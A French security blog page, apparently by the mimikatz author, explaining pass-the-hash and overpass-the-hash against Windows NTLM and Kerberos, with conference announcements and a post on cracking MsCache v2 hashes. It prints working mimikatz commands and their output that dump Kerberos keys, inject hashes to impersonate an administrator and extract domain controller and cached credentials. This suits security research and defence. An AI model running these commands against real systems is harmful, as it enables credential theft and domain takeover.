Overpass-the-hash

A quelques jours du BlackHat et de la Defcon, je profite de ce post pour donner quelques explication sur un petit billet Twitter du mois d’Avril.

(il sera bien entendu abordé la conférence « Abusing Microsoft Kerberos: Sorry You Guys Don’t Get It » avec Skip)

Pass-the-hash

Sous Windows, la technique du « Pass-the-Hash » consiste à s’authentifier sur un serveur en utilisant le hash du mot de passe d’un utilisateur, plutôt que par le mot de passe lui même.

Les bases

Un serveur s’assure de l’identité d’un utilisateur en vérifiant sa connaissance d’un secret qu’ils partagent.
Grossièrement, le serveur envoi au client une données, un challenge, que le client devra chiffrer/hasher/… à partir du secret partagé : cela devient la réponse.
Si le serveur réussi à calculer la même réponse, ou à la déchiffrer à partir de sa connaissance du secret, c’est que le client possède le même secret.

Ces secrets sont sur les DC pour un domaine, sinon ils doivent être partagés dans la SAM locale de chaque serveur.

Les secrets

Contrairement à ce qui pourrait être facilement imaginé, Windows n’utilise pas le mot de passe de l’utilisateur comme secret partagé, mais des dérivés non réversibles : hash LM, NTLM, clés DES, AES…

Selon le protocole utilisé, le secret et les algorithmes utilisés sont différents :

Protocole Algorithme Secret utilisé
LM DES-ECB Hash LM
NTLMv1 DES-ECB Hash NT
NTLMv2 HMAC-MD5 Hash NT

Dans le cas du protocole NTLM, le hash NT dérivé du mot de passe utilisateur est suffisant pour répondre au challenge du serveur.
Le mot de passe utilisateur est, lui, inutile dans sa forme originale.

Overpass-the-hash (pass-the-key)

L’authentification via Kerberos est un tantinet différente. Le client chiffre un timestamp à partir de son secret utilisateur, éventuellement avec des paramètres de realm et un nombre d’itération envoyé du serveur.
Si le secret est le bon, le serveur peut déchiffrer le timestamp (et au passage vérifier que les horloges ne sont pas trop décalés dans le temps).

Protocole Secret (clé) utilisé
Kerberos DES
RC4 = Hash NT!
AES128
AES256

Oui, la clé de type RC4, disponible et activé par défaut de XP à 8.1 reste notre hash NT!

Jouons

Ces clés sont disponibles dans la mémoire du fournisseur Kerberos.
Tout comme le mot de passe utilisateur, ces clés sont d’autant plus présentes qu’un TGT n’a pas encore été obtenu.

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::ekeys

Authentication Id : 0 ; 239946 (00000000:0003a94a)
Session           : Interactive from 1
User Name         : Administrateur
Domain            : CHOCOLATE
SID               : S-1-5-21-130452501-2365100805-3685010670-500

         * Username : Administrateur
         * Domain   : CHOCOLATE.LOCAL
         * Password : (null)
         * Key List :
           aes256_hmac       b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
           aes128_hmac       8451bb37aa6d7ce3d2a5c2d24d317af3
           rc4_hmac_nt       cc36cf7a8514893efccd332446158b1a
           rc4_hmac_old      cc36cf7a8514893efccd332446158b1a
           rc4_md4           cc36cf7a8514893efccd332446158b1a
           rc4_hmac_nt_exp   cc36cf7a8514893efccd332446158b1a
           rc4_hmac_old_exp  cc36cf7a8514893efccd332446158b1a

toutes les clés et mot de passe devraient même totalement disparaitre après l’obtention d’un TGT, puisqu’un TGT est autosuffisant pour se renouveler tout au long de sa durée de vie… – http://www.ietf.org/rfc/rfc4120.txt § 2.3

Et si nous passion le hash ?

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a
user    : Administrateur
domain  : chocolate.local
program : cmd.exe
NTLM    : cc36cf7a8514893efccd332446158b1a
  |  PID  2652
  |  TID  2656
  |  LUID 0 ; 288235 (00000000:000465eb)
  \_ msv1_0   - data copy @ 0000000000311E10 : OK !
  \_ kerberos - data copy @ 000000000035D8D8
   \_ aes256_hmac       -> null
   \_ aes128_hmac       -> null
   \_ rc4_hmac_nt       OK
   \_ rc4_hmac_old      OK
   \_ rc4_md4           OK
   \_ rc4_hmac_nt_exp   OK
   \_ rc4_hmac_old_exp  OK
   \_ *Password replace -> null

Cette fois ci le hash NT a été injecté dans le provider msv1_0 et kerberos, permettant de répondre aux challenges NTLM et d’obtenir un TGT Kerberos…

Mais il est aussi possible de n’utiliser QUE la clé AES si besoin :

mimikatz # sekurlsa::pth /user:Administrateur /domain:chocolate.local /aes256:b7268361386090314acce8d9367e55f55865e7ef8e
670fbe4262d6c94098a9e9
user    : Administrateur
domain  : chocolate.local
program : cmd.exe
AES256  : b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
  |  PID  1652
  |  TID  548
  |  LUID 0 ; 411133 (00000000:000645fd)
  \_ msv1_0   - data copy @ 0000000001675F70 : OK !
  \_ kerberos - data copy @ 000000000161E118
   \_ aes256_hmac       OK
   \_ aes128_hmac       -> null
   \_ rc4_hmac_nt       -> null
   \_ rc4_hmac_old      -> null
   \_ rc4_md4           -> null
   \_ rc4_hmac_nt_exp   -> null
   \_ rc4_hmac_old_exp  -> null
   \_ *Password replace -> null

Cette fois ci, le protocole NTLM ne pourra pas être utilisé, seulement Kerberos avec chiffrement AES256.

Des clés sur le DC

Afin de vérifier toute ces méthodes d’authentification, les DC doivent avoir sous la main de multiples clés pour chaques utilisateurs…
Nous connaissions le hash LM et le hash NT… mais comment obtenir les autres ?

Une nouvelle méthode

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # lsadump::lsa /name:Administrateur /inject
Domain : CHOCOLATE / S-1-5-21-130452501-2365100805-3685010670

RID  : 000001f4 (500)
User : Administrateur

 * Primary
    LM   :
    NTLM : cc36cf7a8514893efccd332446158b1a

 * WDigest
    01  bd9d09445aec3c116c9c8af35da604f5
    [...]
    29  d96ac7a2022d2ee01f441812e6450139

 * Kerberos
    Default Salt : CHOCOLATE.LOCALAdministrateur
    Credentials
      des_cbc_md5       : f8fd987fa7153185

 * Kerberos-Newer-Keys
    Default Salt : CHOCOLATE.LOCALAdministrateur
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
      aes128_hmac       (4096) : 8451bb37aa6d7ce3d2a5c2d24d317af3
      des_cbc_md5       (4096) : f8fd987fa7153185

Téléchargement

La version alpha prenant en charge ces améliorations est disponible : http://blog.gentilkiwi.com/mimikatz

gentilkiwi @ blackhat 2014 – LV

blackhat

Cette année, Skip `Alva` Duckwall a eu la très gentille idée de m’inviter à présenter les nouveautés de mimikatz au sujet de Kerberos!

Nous présenterons donc, ensemble, le 7 août à 11:45 dans la salle ‘South Seas CD’ du Mandalay Bay à Las Vegas, « Abusing Microsoft Kerberos: Sorry You Guys Don’t Get It »

mimikatz_sticker
Viendez donc nous voir ! J’aurais des stickers ;)
defcon
J’essayerais aussi de passer une tête au talk de Chris Campbell : « The Secret Life of Krbtgt » à la Defcon!

gentilkiwi @ Eurotrash Security Podcast (épisode 48)

Il y a quelques semaines, Chris John Riley me proposait une petite interview pour Eurotrash Security, dans leur Podcast, disponible sur SoundCloud

Avec Chris John Riley, Wicked Clown et Dale Pearson, j’y ai abordé mimikatz, son histoire, ses fonctionnalités, etc…

A écouter rapidement pour découvrir mon légendaire « frenglish ».
Heureusement que leur slogan est : « la sécurité avec de drôles d’accents » ;)
eurotrash

gentilkiwi @ RMLL 2014 (Libre Software Meeting 2014)

sthack_elephant

Christophe Brocas m’a proposé un événement qui m’est un peu particulier : les 15èmes Rencontres Mondiales du Logiciel Libre (RMLL / LSM).

Mon attachement sur certains aspect à Windows ne laisse pas facilement deviner que j’apprécie la philosophie du libre ! Pourtant mimikatz l’est totalement, et opensource ;)

J’aurais donc la chance de participer à la track Sécurité des RMLL et présenterai donc mimikatz et ses nouveautés Mercredi 9 Juillet à 10:10 sur le campus du Triolet de l’UM2 (Université de Montpellier) – Salle SC002.

Au programme : « mimikatz, un petit voyage au cœur de la mémoire du service de sécurité Windows », des mots de passe, des hash, des clés, des tickets d’or… https://2014.rmll.info/conference80

N’oubliez pas d’aller voir toutes les autres conférences : https://2014.rmll.info/schedule, (et en particulier la track sécurité :P https://2014.rmll.info/theme26).

MsCache v2 / DCC2 et nombre d’itérations

Dans un domaine Windows, il se peut que les clients soient (temporairement) dans l’impossibilité de valider leur authentification auprès d’un contrôleur de domaine.
C’est particulièrement le cas des postes mobiles (portables/tablettes/…).

Pour permettre les ouvertures de sessions ou déverrouillage en mode hors-ligne, Windows peut conserver un certains nombres d’entrées utilisateurs en cache (par défaut 10 – http://technet.microsoft.com/library/cc957390.aspx).

Ces caches se trouvent dans la base de registre, à l’emplacement HKEY_LOCAL_MACHINE\SECURITY\Cache (accessible à SYSTEM).
Ces entrées sont chiffrés symétriquement, mais l’on y retrouve quelques informations sur l’utilisateur, ainsi que des hash suffisants pour vérifier l’authentification.

Windows 2003/XP

L’algorithme de chiffrement est RC4.
Le hash étant utilisé pour vérifier l’authentification est calculé de la manière suivante :

DCC1 = MD4(MD4(Unicode(password)) . LowerUnicode(username))
soit
DCC1 = MD4(hashNTLM . LowerUnicode(username))

Devant les facilités d’attaques par pass-the-hash, l’on ne peut que se réjouir de ce « salage » par le nom d’utilisateur.
Il existe toutefois un nombre tables pré-calculées pour des utilisateurs tel que Administrator facilitant les attaques sur ces hashs.

mimikatz # lsadump::cache
Domain : WINXP
SysKey : a4905bdecbbef089d5e7c26dd86cf285

Policy subsystem is : 1.7
LSA Key : 57af228842e63b532789b8f207a4e942

[NL$1 - 02/03/2014 21:26:51]
RID       : 000001f4 (500)
User      : CHOCOLATE\Administrateur
MsCacheV1 : 53f1a7f5e51fdb29e32f07204fb8d54e

mimikatz # 

Windows Vista/2008 et >

L’algorithme de chiffrement est AES128.
Le hash étant utilisé pour vérifier l’authentification est calculé de la manière suivante :

DCC2 = PBKDF2(HMAC-SHA1, Iterations, DCC1, LowerUnicode(username))
avec DCC1 calculé de la même manière que pour 2003/XP

mimikatz # lsadump::cache
Domain : WIN81
SysKey : ab023e1a0a41ae80986b0075bbcd645b

Policy subsystem is : 1.12
LSA Key(s) : 1, default {021c6967-cf42-411f-8929-38feebd05ff1}
  [00] {021c6967-cf42-411f-8929-38feebd05ff1} b2e66d1c21b2c37db1c9b0c01438fff00f9754ce5159b2dc133c27d0f63efb81

* Iteration is set to default (10240)

[NL$1 - 02/03/2014 21:33:05]
RID       : 000001f4 (500)
User      : CHOCOLATE\Administrateur
MsCacheV2 : c1c34952b9bb06a561820e8f404da848

mimikatz # 

Il n’y a finalement pas beaucoup de différence avec XP/2003 ; aucune donnée de salage supplémentaire n’est introduite.
Seul la fonction PBKDF2 introduit une nouvelle variable : un nombre d’itérations SHA1 avec le même sel que précédemment (le nom d’utilisateur).

Itérations

Seulement disponible sous NT6, ces itérations ont pour rôle de ralentir les attaques brutes.
Plus leur nombre est élevé, plus l’attaque brute sera longue (et l’ouverture de session Windows lente).

Ce nombre d’itérations est connu, il s’agit de 10240 (10 << 10).

Cette valeur est bien évidemment hardcodée dans tous les programmes traitant les hashs MsCache v2 (que j’ai pu voir !)

Exemple avec Cain

cain_mscachev2

Cain a réussi à valider le mot de passe waza1234/ pour le premier hash (il s’agit de la configuration par défaut).
La deuxième ligne contient en revanche le hash d’une configuration « modifiée » sur lequel Cain n’a pu vérifier le mot de passe.

Cette modification est le nombre d’itération, celui-ci est configurable par la base de registre :
HKEY_LOCAL_MACHINE\SECURITY\Cache valeur DWORD(32) NL$IterationCount
reg_nl_iteration

  • si ce nombre est inférieur à 10240, il s’agit d’un multiplicateur par 1024 (20 donnera donc 20480 itérations)
  • si ce nombre est supérieur à 10240, il s’agit du nombre d’itérations (arrondi à 1024)

Code simplifié

if(pNL$IterationCount) // NL$IterationCount in registry
{
	if(*pNL$IterationCount > 10240)
	{
		Iterations = *pNL$IterationCount & ~0x3ff;
	}
	else
	{
		Iterations = *pNL$IterationCount * 1024;
	}
}
else // No NL$IterationCount in registry (default), equ. 10
{
	Iterations = 10240;
}

Conclusion en 3 points

  1. Il serait judicieux de pouvoir paramétrer le nombre d’itération dans des outils tel que Cain et HashCat ;
  2. Il est dommage que Microsoft n’ait pas choisi de saler ce hash DCC2 avec une donnée complexe propre à chaque système ;
  3. S’il est nécessaire de conserver la mise en cache, il est intéressant de modifier NL$IterationCount avec une valeur différente pour chaque système.
    (pour désactiver toute mise en cache dans un domaine, positionner CachedLogonsCount à 0, voir ci-dessous)

Téléchargement & ressources

mimikatz_iteration
La version alpha prenant en charge ces améliorations est disponible : http://blog.gentilkiwi.com/mimikatz